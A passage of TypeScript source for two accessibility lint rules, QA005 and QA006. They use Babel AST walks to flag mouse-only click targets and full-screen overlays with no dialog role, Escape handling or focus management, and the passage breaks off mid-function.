the element is already keyboard-reachable. */\nconst DECLARED_ATTR = /^(?:role|tabIndex|tabindex|onKey[A-Z]\\w*)$/;\n\n/** Methods whose only effect is to stop a click, not to act on one. */\nconst BARRIER_METHODS = new Set([\"stopPropagation\", \"preventDefault\", \"stopImmediatePropagation\"]);\n\n/**\n * \"This element is dressed as a control.\"\n *\n * Tailwind's `cursor-pointer` / `select-none` / any `hover:` variant, plus the\n * inline-style spelling. Matched against the comment-masked source of the\n * element's own className/class/style attribute — a window the AST hands us,\n * so a `hover:` in a neighbouring element or in a comment cannot supply it.\n */\nconst AFFORDANCE = /\\bcursor-pointer\\b|\\bselect-none\\b|\\bhover:|cursor\\s*:\\s*[\"'`]?\\s*pointer/;\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse for two reasons: traverse needs a\n * scope and so cannot be pointed at a bare sub-node (an attribute value, one\n * element's subtree), and the exported helpers in ../../ast/ cover calls and\n * binary expressions, not JSX. `loc` and the comment arrays are skipped\n * because they carry no nodes and are the bulk of the object graph.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n walkNodes(record[key], visit);\n }\n}\n\n/**\n * Visit every JSX element, paired with its nearest enclosing JSX element.\n *\n * The parent is tracked on the way down rather than recovered afterwards from\n * source offsets, because the enclosing element is frequently not the\n * syntactic parent: `<Trigger asChild>{open && <div onClick/>}</Trigger>` puts\n * a conditional between them, and `{rows.map(r => <div onClick/>)}` puts a\n * whole function between them.\n */\nfunction eachJsxElement(\n root: Node,\n visit: (element: JSXElement, jsxParent: JSXElement | null) => void,\n): void {\n const descend = (value: unknown, parent: JSXElement | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, parent);\n return;\n }\n const record = value as Record<string, unknown>;\n let nextParent = parent;\n if (record.type === \"JSXElement\") {\n const element = value as JSXElement;\n visit(element, parent);\n nextParent = element;\n }\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n descend(record[key], nextParent);\n }\n };\n descend(root, null);\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/**\n * Is this a native HTML element, i.e. one whose behaviour is decidable here?\n *\n * Lowercase JSX identifiers, plus `motion.*` — Framer Motion's namespace\n * renders the host element named by the property and nothing else, and it is\n * how a large share of generated apps spell every div. Any other capitalised\n * or namespaced tag is a component whose semantics live in a file this rule\n * is not allowed to open.\n */\nfunction isNativeTag(name: JSXOpeningElement[\"name\"]): boolean {\n if (name.type === \"JSXIdentifier\") return /^[a-z]/.test(name.name);\n if (name.type === \"JSXMemberExpression\") {\n return (\n name.object.type === \"JSXIdentifier\" &&\n name.object.name === \"motion\" &&\n /^[a-z]/.test(name.property.name)\n );\n }\n return false;\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\nfunction findAttribute(element: JSXOpeningElement, name: string): JSXAttribute | null {\n for (const attr of element.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (attributeName(attr) === name) return attr;\n }\n return null;\n}\n\n/** A `{...anything}` on the opening tag. */\nfunction hasSpread(element: JSXOpeningElement): boolean {\n return element.attributes.some((attr) => attr.type === \"JSXSpreadAttribute\");\n}\n\n/** `role`, `tabIndex` or any `onKey*`, whatever the value is — including an expression. */\nfunction declaresKeyboardAccess(element: JSXOpeningElement): boolean {\n for (const attr of element.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (DECLARED_ATTR.test(attributeName(attr))) return true;\n }\n return false;\n}\n\n/** `asChild` on the parent means the child inherits the trigger's real attributes. */\nfunction isAsChildTrigger(element: JSXElement | null): boolean {\n if (!element) return false;\n return findAttribute(element.openingElement, \"asChild\") !== null;\n}\n\n/**\n * Does the subtree already contain something focusable?\n *\n * The element's own opening tag is excluded by identity rather than by\n * starting the walk at `children`, because a JSX attribute can itself hold an\n * element (`icon={<Button/>}`) and that counts just as much as a child does.\n */\nfunction hasInteractiveDescendant(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type !== \"JSXOpeningElement\") return;\n if (node === element.openingElement) return;\n const name = tagName(node.name);\n if (!name) return;\n if (/^[a-z]/.test(name)) {\n if (INTERACTIVE_DESCENDANT_TAGS.has(name)) found = true;\n return;\n }\n if (name === \"Link\" || INTERACTIVE_COMPONENT.test(name)) found = true;\n });\n return found;\n}\n\nfunction isBarrierCall(node: Node): boolean {\n if (node.type !== \"CallExpression\") return false;\n const callee = node.callee;\n if (callee.type !== \"MemberExpression\" && callee.type !== \"OptionalMemberExpression\") return false;\n if (callee.property.type !== \"Identifier\") return false;\n return BARRIER_METHODS.has(callee.property.name);\n}\n\n/** Empty, or nothing but stopPropagation()/preventDefault(). */\nfunction isBarrierHandler(fn: ArrowFunctionExpression | FunctionExpression | FunctionDeclaration): boolean {\n const body = fn.body;\n if (body.type !== \"BlockStatement\") return isBarrierCall(body);\n if (body.body.length === 0) return true;\n return body.body.every(\n (stmt) => stmt.type === \"ExpressionStatement\" && isBarrierCall(stmt.expression),\n );\n}\n\ntype HandlerNode = ArrowFunctionExpression | FunctionExpression | FunctionDeclaration;\n\n/**\n * Every named function in the file, so `onClick={handleClick}` can be judged.\n *\n * One level of indirection only. An unresolvable handler is treated as a real\n * one — the rule then falls through to the remaining gates instead of assuming\n * the worst OR assuming the best, and a barrier written as an exported named\n * function is a shape nobody produces.\n */\nfunction collectHandlers(root: Node): Map<string, HandlerNode> {\n const handlers = new Map<string, HandlerNode>();\n walkNodes(root, (node) => {\n if (node.type === \"FunctionDeclaration\" && node.id) {\n handlers.set(node.id.name, node);\n return;\n }\n if (node.type !== \"VariableDeclarator\") return;\n if (node.id.type !== \"Identifier\" || !node.init) return;\n if (node.init.type === \"ArrowFunctionExpression\" || node.init.type === \"FunctionExpression\") {\n handlers.set(node.id.name, node.init);\n }\n });\n return handlers;\n}\n\n/** The comment-masked source of one attribute, by the offsets the AST gives us. */\nfunction attributeSource(attr: JSXAttribute | null, code: string): string {\n if (!attr || attr.start == null || attr.end == null) return \"\";\n return code.slice(attr.start, attr.end);\n}\n\nexport const mouseOnlyControl: QualityRule = {\n id: \"QA005\",\n title: \"A control only a mouse can reach\",\n severity: \"medium\",\n category: \"Accessibility\",\n description:\n \"This element is styled and wired as a button but is not one: it has a click handler and no role, no tabIndex and no key handler, so it cannot be reached by Tab, activated by Enter or Space, announced by a screen reader, or driven by voice control. Anyone not using a mouse cannot perform this action at all.\",\n fix: \"Make it a <button type=\\\"button\\\"> — that is the whole fix, and it keeps the styling. If the tag cannot change, add role=\\\"button\\\", tabIndex={0} and an onKeyDown that fires the same handler on Enter and Space.\",\n precisionNotes:\n \"Native non-focusable tags only (a capitalised component's semantics live in another file); no spread attribute; the handler must do more than stopPropagation/preventDefault; no interactive descendant; not the child of an asChild trigger; never tr/li/tbody; and the element must carry a click affordance (cursor-pointer, select-none, hover:). Each clause removes a class of correct code: prop-forwarding wrappers, click barriers, redundant row affordances, and Radix triggers that merge their attributes into the child at runtime.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n // The spec's path list — test/story/fixture/mock/MDX/doc — is exactly\n // TEST_FILE_PATTERN + isVendoredPath, and `file.excluded` is both. No\n // extra `docs/` DIRECTORY gate on top: prose is .md/.mdx and already\n // covered, whereas a docs directory full of .tsx is a shipped route.\n // Measured on this repo: such a gate silently blinds the rule to\n // app/(marketing)/docs, which is the public documentation site.\n if (file.excluded) continue;\n // No AST, no rule. A regex fallback here would answer the question about\n // a character window instead of an element, which is the failure mode\n // this rule exists to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n const handlers = collectHandlers(parsed.ast.program as Node);\n\n eachJsxElement(parsed.ast.program as Node, (element, jsxParent) => {\n const opening = element.openingElement;\n\n // ── The naive trigger: a non-interactive tag with a click handler and\n // nothing that makes it keyboard-reachable.\n if (!isNativeTag(opening.name)) return;\n const tag = tagName(opening.name);\n if (FOCUSABLE_TAGS.has(tag)) return;\n if (STRUCTURAL_TAGS.has(tag)) return;\n\n const onClick = findAttribute(opening, \"onClick\");\n if (!onClick) return;\n if (declaresKeyboardAccess(opening)) return;\n\n // ── Gate: a spread can carry role/tabIndex/onKeyDown from anywhere.\n if (hasSpread(opening)) return;\n\n // ── Gate: a barrier is not a control.\n const value = onClick.value;\n if (!value || value.type !== \"JSXExpressionContainer\") return;\n const expr = value.expression;\n let handler: HandlerNode | null = null;\n if (expr.type === \"ArrowFunctionExpression\" || expr.type === \"FunctionExpression\") {\n handler = expr;\n } else if (expr.type === \"Identifier\") {\n handler = handlers.get(expr.name) ?? null;\n }\n if (handler && isBarrierHandler(handler)) return;\n\n // ── Gate: the keyboard path already exists one node down.\n if (hasInteractiveDescendant(element)) return;\n\n // ── Gate: Radix merges the trigger's attributes into this child.\n if (isAsChildTrigger(jsxParent)) return;\n\n // ── Gate: it must look clickable. Absent affordance is the spec's\n // low-confidence bucket, and low confidence is not reported.\n const dressed =\n attributeSource(findAttribute(opening, \"className\"), file.code) +\n \" \" +\n attributeSource(findAttribute(opening, \"class\"), file.code) +\n \" \" +\n attributeSource(findAttribute(opening, \"style\"), file.code);\n if (!AFFORDANCE.test(dressed)) return;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n });\n }\n return hits;\n },\n};\n","import type {\n JSXAttribute,\n JSXElement,\n JSXOpeningElement,\n Node,\n} from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA006 — a modal that is not announced as a dialog.\n *\n * `<div className=\"fixed inset-0 bg-black/50\">` with a panel inside it is how\n * a generator writes a modal. It covers the page, it takes clicks, and to\n * everyone using a mouse it behaves. To everyone else it does not exist: a\n * screen reader announces nothing when it opens and keeps reading the page\n * behind it, focus stays wherever it was so a keyboard user tabs through the\n * covered page to reach the close button, and Escape does nothing. This\n * repo's own signed-in surface shipped four of them before ModalShell.tsx.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE, and clause 1 is the reason. \"The file\n * contains `fixed inset-0`\" is true of this repo's CORRECT LegalModal.tsx —\n * the tokens are there, in a `backdropClassName=` prop handed to a component\n * that does declare the dialog. The question is whether ONE element's own\n * className carries those tokens, and that is a question about an attribute,\n * not about a file. Every other clause is likewise about a subtree, an\n * ancestor or an attribute; a character window answers none of them.\n *\n * Every clause below was bought with a false positive found by an adversarial\n * review. Each names the legitimate pattern it protects, and removing one\n * brings that whole class back:\n *\n * own className the single load-bearing clause. `fixed inset-0` living\n * anywhere in the file flags LegalModal.tsx, which is\n * correct code that delegates its semantics to a shell.\n * native tag only `<DialogPrimitive.Overlay>`, `<Modal>`, `<Backdrop>` —\n * whatever they are, their role and focus handling live\n * in a file this single-file rule may not open.\n * renders a panel a self-closing `fixed inset-0` div is a click-catcher\n * or a scrim, not a dialog. Nothing is in it to announce.\n * focusable inside a full-bleed hero, gradient wash, loading veil or toast\n * region has no controls. There is no keyboard trap to\n * create and nothing to move focus to.\n * no role anywhere `role=\"menu\"`, `role=\"status\"`, `role=\"navigation\"`,\n * `role=\"alertdialog\"` are all developers CHOOSING\n * semantics. Different from dialog is not absent.\n * visible overlay `pointer-events-none`, `z-0`, a negative z or a\n * `md:hidden` say this layer is decoration or is turned\n * off at this breakpoint.\n * open-gated without this, every route-level 404 page, empty state\n * and full-screen splash fires. A modal is a thing with\n * an open state.\n * no dismissal a file that handles Escape is a file whose author\n * thought about the keyboard.\n * no focus work the same, for `.focus()`, autoFocus and focus traps.\n * no primitive a file importing Radix/Headless UI/MUI/Mantine is a\n * codebase with a dialog system; a hand-rolled overlay in\n * it is far more likely a popover, a drag layer or a\n * custom backdrop feeding a primitive we cannot see.\n *\n * VOLUME IS ITS OWN PRECISION PROBLEM. On the corpus the median affected repo\n * fires twice and the worst fires 82 times, with one file firing 12. Eighty-two\n * copies of one accessibility finding reads as noise no matter how right each\n * one is, so output is capped at one per file and five per scan.\n */\n\n/** Keys on a Babel node that hold no child nodes; skipping them is most of the walk cost. */\nconst NON_NODE_KEYS = new Set([\n \"loc\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n \"extra\",\n \"tokens\",\n]);\n\n/**\n * The tokens that make an element a full-viewport layer.\n *\n * Matched against class tokens, allowing a Tailwind variant prefix, so\n * `md:fixed` and `dark:inset-0` count. A token that merely CONTAINS the text\n * — `fixed-header`, `inset-0.5` — does not.\n */\nconst OVERLAY_TOKENS = [\"fixed\", \"inset-0\"];\n\n/**\n * Class tokens that say this layer is not a modal, or is not on.\n *\n * `pointer-events-none` is a decorative wash, `z-0` and any negative z put it\n * behind the page, and a responsive `hidden` means it is turned off at a\n * breakpoint — a mobile/desktop pair of the same panel, where only one of them\n * is ever the dialog.\n */\nfunction isSuppressingClassToken(token: string): boolean {\n const bare = token.replace(/^(?:[a-z0-9_-]+:)+/, \"\");\n if (bare === \"pointer-events-none\") return true;\n if (bare === \"z-0\") return true;\n // `-z-10`, and the arbitrary-value spelling `z-[-1]`.\n if (/^-z-/.test(bare) || /^z-\\[-/.test(bare)) return true;\n // `sm:hidden` … `2xl:hidden`, and the `max-` spelling of the same intent.\n if (/^(?:max-)?(?:sm|md|lg|xl|2xl):hidden$/.test(token)) return true;\n return false;\n}\n\n/** Native elements a keyboard can already reach, plus `form` per the spec. */\nconst FOCUSABLE_TAGS = new Set([\"a\", \"button\", \"form\", \"input\", \"select\", \"textarea\"]);\n\n/** Components that are a control by naming convention — `SubmitButton`, `TextInput`. */\nconst FOCUSABLE_COMPONENT = /(?:Button|Input)$/;\n\n/**\n * Identifiers that name an open state.\n *\n * Deliberately loose, because it is used only to decide whether to LOOK at an\n * element at all. Being wrong here costs a finding, never a false accusation.\n */\nconst OPEN_IDENTIFIER = /open|show|visible|modal|dialog|expand|selected|editing|creating|confirm/i;\n\n/** A file whose NAME says the whole thing is a modal, which is gate enough. */\nconst MODAL_FILENAME = /(?:modal|dialog|sheet|drawer|lightbox|popup)$/i;\n\n/**\n * Anything in the file that dismisses on a key.\n *\n * Broad on purpose, and matched against the comment-masked source so a comment\n * that merely mentions Escape cannot silence a real defect. `useEventListener`\n * and `useKey` are here because a hook wrapping a keydown listener is the same\n * evidence as the listener.\n */\nconst DISMISSAL_SIGNAL =\n /\\bEscape\\b|\\bEsc\\b|\\b(?:key|keyCode|which|charCode)\\b[^;\\n]{0,60}={2,3}\\s*27|\\bonEscapeKeyDown\\b|\\buseHotkeys\\b|\\buseKey\\b|\\buseKeyPress\\b|\\buseEventListener\\b|addEventListener\\s*\\(\\s*[\"'`]keydown/;\n\n/** Anything in the file that moves or traps focus. */\nconst FOCUS_SIGNAL =\n /\\.focus\\s*\\(|\\bautoFocus\\b|\\binitialFocus\\b|\\bFocusLock\\b|\\bFocusTrap\\b|focus-trap|\\binert\\b/;\n\n/**\n * Dialog primitives, matched file-wide.\n *\n * Blunt on purpose. It costs true positives in a file that imports Radix for\n * one thing and hand-rolls an overlay for another, and it buys silence on the\n * population most likely to be paying for real engineering — which is the\n * trade this rule wants, since its whole value is being quiet enough to read.\n */\nconst DIALOG_PRIMITIVE =\n /@radix-ui\\/react-dialog|@radix-ui\\/react-alert-dialog|@headlessui\\/react|[\"'`]react-modal[\"'`]|[\"'`]vaul[\"'`]|[\"'`]cmdk[\"'`]|@reach\\/dialog|react-aria|@mui\\/material|[\"'`]antd[\"'`]|@mantine|@chakra-ui|@ark-ui|react-bootstrap|flowbite|@nextui/;\n\n/**\n * Example and documentation trees, on top of the engine's own exclusions.\n *\n * Clause 11 of the spec. `file.excluded` already covers tests, stories,\n * fixtures, mocks and vendored code; an `examples/` or `docs/` directory of\n * live .tsx is demo code written to be short, and its overlays are\n * illustrations of layout rather than shipped dialogs.\n */\nconst EXAMPLE_OR_DOC_PATH = /(?:^|\\/)(?:examples?|docs?)\\//i;\n\n/** At most one finding per file, and this many per scan. */\nconst MAX_HITS_PER_SCAN = 5;\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse because traverse needs a scope and\n * so cannot be pointed at a bare sub-node — an attribute value, one element's\n * subtree — and the exported helpers in ../../ast/ cover calls and binary\n * expressions, not JSX.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (NON_NODE_KEYS.has(key)) continue;\n walkNodes(record[key], visit);\n }\n}\n\n/**\n * Parent links for the whole program.\n *\n * Clause 7 asks whether the overlay is rendered under an open-ish condition,\n * and the condition is an ANCESTOR — `{isOpen && <div/>}` puts the test two\n * nodes up, `{sel ? <div/> : null}` three. Recovering that from source offsets\n * gets it wrong whenever a `.map(` or another element sits between; a parent\n * map gets it right by construction.\n */\nfunction buildParents(root: Node): Map<Node, Node> {\n const parents = new Map<Node, Node>();\n const descend = (value: unknown, parent: Node | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, parent);\n return;\n }\n const record = value as Record<string, unknown>;\n let nextParent = parent;\n if (typeof record.type === \"string\") {\n const node = value as Node;\n if (parent) parents.set(node, parent);\n nextParent = node;\n }\n for (const key of Object.keys(record)) {\n if (NON_NODE_KEYS.has(key)) continue;\n descend(record[key], nextParent);\n }\n };\n descend(root, null);\n return parents;\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/**\n * Clause 2 — is this an element whose semantics are decidable HERE?\n *\n * A lowercase JSX identifier is a native host element, and `motion.<lowercase>`\n * renders exactly that host element and nothing else, which is how a large\n * share of generated apps spell every div. Anything capitalised or namespaced\n * is a component; whatever role, focus trap and Escape handler it has live in\n * a file this rule is not allowed to open, so it is not ours to judge.\n *\n * The spec enumerates div/section/aside. That is the common spelling, not a\n * fixed list — the same reasoning QA005 applies to its tag sets, where a\n * hardcoded `div|span|p` is precisely the thing that silently goes stale.\n */\nfunction isNativeOverlayTag(name: JSXOpeningElement[\"name\"]): boolean {\n if (name.type === \"JSXIdentifier\") return /^[a-z]/.test(name.name);\n if (name.type === \"JSXMemberExpression\") {\n return (\n name.object.type === \"JSXIdentifier\" &&\n name.object.name === \"motion\" &&\n /^[a-z]/.test(name.property.name)\n );\n }\n return false;\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\nfunction findAttribute(opening: JSXOpeningElement, name: string): JSXAttribute | null {\n for (const attr of opening.attributes) {\n if (attr.type !== \"JSXAttribute\") continue;\n if (attributeName(attr) === name) return attr;\n }\n return null;\n}\n\n/**\n * Clause 1 — the class tokens this element declares ON ITSELF.\n *\n * Every string literal and template chunk reachable inside the className (or\n * `class`) attribute, which resolves the three spellings that actually occur:\n *\n * className=\"fixed inset-0 bg-black/50\"\n * className={`fixed inset-0 ${open ? \"opacity-100\" : \"opacity-0\"}`}\n * className={cn(\"fixed inset-0\", isOpen && \"z-50\", className)}\n *\n * Identifiers are NOT followed. That is the point of the clause: ModalShell's\n * `className={backdropClassName}` has a default parameter carrying the tokens,\n * and resolving it would flag the one component in this repo that gets modals\n * right. If the tokens are not written on the element, the element is not\n * provably the overlay.\n */\nfunction ownClassTokens(opening: JSXOpeningElement): string[] {\n const attr = findAttribute(opening, \"className\") ?? findAttribute(opening, \"class\");\n if (!attr || !attr.value) return [];\n const strings: string[] = [];\n walkNodes(attr.value as Node, (node) => {\n if (node.type === \"StringLiteral\") strings.push(node.value);\n else if (node.type === \"TemplateElement\") strings.push(node.value.cooked ?? node.value.raw);\n });\n return strings.join(\" \").split(/\\s+/).filter(Boolean);\n}\n\n/** A class token, allowing any stack of Tailwind variant prefixes. */\nfunction hasClassToken(tokens: string[], name: string): boolean {\n return tokens.some((t) => t === name || t.endsWith(`:${name}`));\n}\n\n/**\n * Clause 3 — does it render a panel?\n *\n * A self-closing overlay, or one whose only children are text and expressions\n * with no element in them, is a scrim or a click-catcher. Expression children\n * are searched rather than required to be elements directly, because the panel\n * is routinely behind one — `{step === 2 && <Panel/>}`, `{rows.map(...)}` —\n * and that is still an element child of this overlay.\n */\nfunction rendersElementChild(element: JSXElement): boolean {\n for (const child of element.children) {\n if (child.type === \"JSXElement\" || child.type === \"JSXFragment\") return true;\n if (child.type !== \"JSXExpressionContainer\") continue;\n let found = false;\n walkNodes(child.expression as Node, (node) => {\n if (node.type === \"JSXElement\" || node.type === \"JSXFragment\") found = true;\n });\n if (found) return true;\n }\n return false;\n}\n\n/**\n * Clause 4 — is there anything in here a keyboard would need to reach?\n *\n * The element's own opening tag is excluded by identity, so a `<form>` styled\n * as the overlay does not count as its own focusable content. Attribute values\n * are searched along with children: `footer={<Button/>}` is just as much a\n * control inside the dialog as a child is.\n */\nfunction hasFocusableDescendant(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type !== \"JSXOpeningElement\") return;\n if (node === element.openingElement) return;\n const name = tagName(node.name);\n if (!name) return;\n if (/^[a-z]/.test(name)) {\n if (FOCUSABLE_TAGS.has(name)) found = true;\n return;\n }\n if (FOCUSABLE_COMPONENT.test(name)) found = true;\n });\n return found;\n}\n\n/**\n * Clause 5 — has anyone already declared semantics in here?\n *\n * ANY `role`, whatever its value, plus `aria-modal` and a `dialog` element.\n * `role=\"menu\"` on a dropdown that happens to be positioned full-bleed on\n * mobile, `role=\"status\"` on a loading veil and `role=\"alertdialog\"` on a\n * confirm are all a developer choosing semantics deliberately — different from\n * `dialog` is not the same as missing. The element itself is included in the\n * walk, so an overlay carrying its own role is silent.\n *\n * A capitalised `<Dialog>` child counts the same as a native `<dialog>`: by\n * clause 2's own logic, a component named for the thing declares the thing\n * somewhere we cannot see.\n */\nfunction declaresSemantics(element: JSXElement): boolean {\n let found = false;\n walkNodes(element, (node) => {\n if (found) return;\n if (node.type === \"JSXAttribute\") {\n const name = attributeName(node);\n if (name === \"role\" || name === \"aria-modal\") found = true;\n return;\n }\n if (node.type === \"JSXOpeningElement\" && tagName(node.name).toLowerCase() === \"dialog\") {\n found = true;\n }\n });\n return found;\n}\n\n/**\n * Does this expression mention an identifier that names an open state?\n *\n * Plain `Identifier` only, which covers the member spellings for free —\n * `props.isOpen` and `state.showDialog` both carry the name as the property\n * Identifier. JSX identifiers are deliberately NOT matched: this predicate\n * only ever WIDENS the rule's surface, so it gets the narrowest spelling that\n * answers the question.\n */\nfunction mentionsOpenState(node: Node | null | undefined): boolean {\n if (!node) return false;\n let found = false;\n walkNodes(node, (n) => {\n if (found) return;\n if (n.type === \"Identifier\" && OPEN_IDENTIFIER.test(n.name)) found = true;\n });\n return found;\n}\n\nconst FUNCTION_TYPES = new Set([\n \"FunctionDeclaration\",\n \"FunctionExpression\",\n \"ArrowFunctionExpression\",\n \"ObjectMethod\",\n \"ClassMethod\",\n]);\n\n/**\n * `if (!isOpen) return null;` — the other half of clause 7.\n *\n * Only the enclosing function's top-level statements are examined: a guard\n * buried inside a nested branch is not gating this render, and reading it as\n * though it were is how a whole-function grep turns into the file-wide grep\n * clause 1 exists to avoid.\n */\nfunction hasOpenStateEarlyReturn(fn: Node): boolean {\n const body = (fn as { body?: Node }).body;\n if (!body || body.type !== \"BlockStatement\") return false;\n const returnsNothing = (stmt: Node): boolean => {\n if (stmt.type === \"ReturnStatement\") {\n const arg = stmt.argument;\n if (!arg) return true;\n if (arg.type === \"NullLiteral\") return true;\n if (arg.type === \"Identifier\" && arg.name === \"undefined\") return true;\n if (arg.type === \"BooleanLiteral\" && arg.value === false) return true;\n return false;\n }\n if (stmt.type === \"BlockStatement\") return stmt.body.some((s) => returnsNothing(s as Node));\n return false;\n };\n for (const stmt of body.body) {\n if (stmt.type !== \"IfStatement\") continue;\n if (!mentionsOpenState(stmt.test as Node)) continue;\n if (returnsNothing(stmt.consequent as Node)) return true;\n }\n return false;\n}\n\n/**\n * Clause 7 — is this overlay gated on something being open?\n *\n * This is the clause that drops the route-level 404 page, the full-screen\n * empty state and the splash screen: each is a `fixed inset-0` layer with a\n * button in it and no role, and each is rendered unconditionally because it IS\n * the page. A modal is the thing that has an open state.\n *\n * Three ways to show it, in ascending cost: the file is named for a modal; an\n * ancestor `&&`/`?:` tests an open-ish identifier; the enclosing component\n * early-returns on one.\n */\nfunction isOpenGated(element: JSXElement, parents: Map<Node, Node>, baseName: string): boolean {\n if (MODAL_FILENAME.test(baseName)) return true;\n\n let child: Node = element;\n let parent = parents.get(child);\n // Bounded so a pathological tree cannot turn a scan into a hang; real JSX\n // nests an order of magnitude shallower than this.\n for (let steps = 0; parent && steps < 256; steps++) {\n if (parent.type === \"LogicalExpression\" && (parent.operator === \"&&\" || parent.operator === \"||\")) {\n // Only when the element is the RESULT of the test, not part of it.\n if ((parent.right as Node) === child && mentionsOpenState(parent.left as Node)) return true;\n } else if (parent.type === \"ConditionalExpression\") {\n const isBranch = (parent.consequent as Node) === child || (parent.alternate as Node) === child;\n if (isBranch && mentionsOpenState(parent.test as Node)) return true;\n } else if (FUNCTION_TYPES.has(parent.type)) {\n if (hasOpenStateEarlyReturn(parent)) return true;\n }\n child = parent;\n parent = parents.get(parent);\n }\n return false;\n}\n\n/** The filename with its directories and extension stripped. */\nfunction baseNameWithoutExtension(path: string): string {\n const base = path.split(\"/\").pop() ?? path;\n return base.replace(/\\.[^.]+$/, \"\");\n}\n\nexport const undeclaredModal: QualityRule = {\n id: \"QA006\",\n title: \"A modal that is not announced as a dialog\",\n severity: \"medium\",\n category: \"Accessibility\",\n description:\n \"This full-screen overlay renders a panel with controls in it, but declares no dialog semantics: no role, no aria-modal, no Escape handler and no focus management. A screen reader announces nothing when it opens and keeps reading the page behind it, and a keyboard user has to tab through the covered page to reach the controls — or tabs straight past them into content they can see is obscured.\",\n fix: 'Put role=\"dialog\" and aria-modal=\"true\" on the panel, point aria-labelledby at its heading, move focus into it when it opens and restore focus when it closes, and close it on Escape. A dialog primitive (Radix, Headless UI) or one shared shell component gets all of that once instead of per modal.',\n precisionNotes:\n \"The fixed+inset-0 tokens must come from the element's OWN className, resolved through cn()/clsx/template literals and never from a string elsewhere in the file — that single clause separates this from a rule that flags this repo's correct LegalModal.tsx. Then: native lowercase or motion.* tags only; must render an element child and contain a focusable one; no role of any kind, no aria-modal and no dialog element anywhere in the subtree; no pointer-events-none, z-0, negative z or responsive hidden; must be gated on an open-ish condition or live in a *Modal/Dialog/Sheet/Drawer/Lightbox/Popup file; and the file must carry no Escape handling, no focus management and no dialog-primitive import. Capped at one finding per file and five per scan, because the worst corpus repo fires 82 times and volume is its own precision problem.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n if (hits.length >= MAX_HITS_PER_SCAN) break;\n // Tests, stories, fixtures, mocks and vendored code come from the\n // engine; examples/ and docs/ are this rule's addition (clause 11).\n if (file.excluded) continue;\n if (EXAMPLE_OR_DOC_PATH.test(file.path)) continue;\n\n // No AST, no rule. A regex fallback would answer clause 1 about a\n // character window instead of an attribute, which is the exact failure\n // this rule is built to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n // ── Clauses 8, 9, 10: file-wide exonerations, checked once and before\n // any walking. Matched on the comment-masked source, so a comment\n // that merely mentions Escape cannot silence a real defect.\n if (DISMISSAL_SIGNAL.test(file.code)) continue;\n if (FOCUS_SIGNAL.test(file.code)) continue;\n if (DIALOG_PRIMITIVE.test(file.code)) continue;\n\n const program = parsed.ast.program as Node;\n const parents = buildParents(program);\n const baseName = baseNameWithoutExtension(file.path);\n\n const elements: JSXElement[] = [];\n walkNodes(program, (node) => {\n if (node.type === \"JSXElement\") elements.push(node);\n });\n\n for (const element of elements) {\n const opening = element.openingElement;\n\n // ── Clause 2: a component's semantics live in another file.\n if (!isNativeOverlayTag(opening.name)) continue;\n\n // ── Clause 1: the overlay tokens must be on THIS element.\n const tokens = ownClassTokens(opening);\n if (!OVERLAY_TOKENS.every((t) => hasClassToken(tokens, t))) continue;\n\n // ── Clause 6: and the layer must actually be a visible, on-top one.\n if (tokens.some(isSuppressingClassToken)) continue;\n\n // ── Clause 3: it renders a panel, not a click-catcher.\n if 